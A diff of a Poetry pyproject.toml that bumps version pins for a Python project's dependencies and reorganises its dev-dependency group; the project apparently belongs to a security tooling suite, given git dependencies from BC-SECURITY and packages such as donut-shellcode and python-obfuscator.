-macholib = "*" -dropbox = "*" -pyOpenSSL = "*" +urllib3 = "^2.0.3" +requests = "^2.31.0" +iptools = "^0.7.0" +macholib = "^1.16.2" +dropbox = "^11.36.2" +pyOpenSSL = "^23.2.0" zlib_wrapper = "^0.1.3" -netifaces = "*" -jinja2 = "*" -xlutils = "*" -pyparsing = "*" -PyMySQL = "^0.10.1" -SQLAlchemy = "^2.0" +netifaces = "^0.11.0" +jinja2 = "^3.1.2" +xlutils = "^2.0.0" +pyparsing = "^3.1.0" +PyMySQL = "^1.1.0" +SQLAlchemy = "^2.0.18" PyYAML = "^6.0.1" SQLAlchemy-Utc = "^0.14.0" -prompt-toolkit = "^3.0.9" -terminaltables = "^3.1.0" +prompt-toolkit = "^3.0.39" +terminaltables = "^3.1.10" docopt = "^0.6.2" -humanize = "^3.2.0" -pydantic = "^1.8.1" -pycryptodome = "^3.10.1" -cryptography = "^37.0.3" -fastapi = "0.70" -uvicorn = "^0.14.0" -jq = "^1.2.1" -aiofiles = "^0.7.0" -python-multipart = "^0.0.5" +humanize = "^4.7.0" +pycryptodome = "^3.18.0" +cryptography = "^41.0.1" +fastapi = "^0.99.1" +uvicorn = "^0.22.0" +jq = "^1.4.1" +aiofiles = "^23.1.0" +python-multipart = "^0.0.6" python-jose = {version = "^3.3.0", extras = ["cryptography"]} passlib = {version = "^1.7.4", extras = ["bcrypt"]} websockify = "^0.10.0" -websockets = "^10.1" +websockets = "^11.0.3" pyperclip = "^1.8.2" pyvnc = {git = "https://github.com/BC-SECURITY/pyVNC.git"} -python-socketio = {extras = ["client"], version = "^5.7.1"} -Flask = "^2.1.2" +python-socketio = {extras = ["client"], version = "^5.8.0"} +Flask = "^2.3.2" pysecretsocks = {git = "https://github.com/BC-SECURITY/PySecretSOCKS.git"} donut-shellcode = "^1.0.2" python-obfuscator = "^0.0.2" -pyinstaller = "^5.12" +pyinstaller = "^5.13.0" +md2pdf = "^1.0.1" +tabulate = "^0.9.0" -[tool.poetry.dev-dependencies] -isort = "^5.10.1" -black = "^23.1.0" -pytest = "^7.2.0" + +[tool.poetry.group.dev.dependencies] +httpx = "^0.24.1" # For starlette TestClient +isort = "^5.12.0" +black = "^23.7.0" +pytest = "^7.4.0" pytest-timeout = "^2.1.0" -ruff = "^0.0.233" +ruff = "^0.0.283" [build-system] requires = ["poetry-core>=1.0.0"]